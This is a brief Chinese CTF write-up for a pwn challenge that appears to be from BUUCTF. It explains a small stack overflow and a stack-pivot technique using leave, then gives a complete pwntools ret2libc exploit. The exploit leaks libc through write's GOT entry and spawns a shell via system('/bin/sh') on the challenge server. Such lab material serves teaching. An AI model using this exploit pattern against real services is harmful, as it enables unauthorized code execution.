vul_function():

ssize_t vul_function()
{
  size_t v0; // eax
  size_t v1; // eax
  char buf; // [esp+0h] [ebp-18h]

  v0 = strlen(m1);
  write(1, m1, v0);
  read(0, &s, 0x200u);
  v1 = strlen(m2);
  write(1, m2, v1);
  return read(0, &buf, 0x20u);
}

read(0, &buf, 0x20u)存在栈溢出,但是溢出的空间太小。可以把内容写在s变量里,利用栈迁移把buf变量迁到s那。

栈迁移主要利用leaveleave分开就是:

mov esp,ebp

pop ebp

把ebp的值换成s变量的位置,方便栈迁移。leave的地址在这里:

剩下的就是普通的ret2libc了:

from pwn import *

elf = ELF('./spwn')

local = 0
if local == 1:
    io = process('./spwn')
    #gdb.attach(io,'b * 0x08048511')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',26203)

bss = 0x804a300
leave_addr = 0x08048511
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

io.recvuntil("name?")
shellcode = p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendline(shellcode)
io.recvuntil("say?")
payload = 'a'*0x18+p32(bss)+p32(leave_addr)
io.send(payload)
write_addr = u32(io.recv(4))
print(hex(write_addr))

libcbase = write_addr - 0x0d43c0
system_addr = libcbase + 0x3a940
binsh = libcbase + 0x15902b
io.recvuntil("name?")
io.sendline(p32(0xdeadbeef)+p32(system_addr)+p32(0)+p32(binsh)+p32(0))
io.recvuntil("say?")
payload = 'a'*0x18+p32(bss)+p32(leave_addr)
io.send(payload)

io.interactive()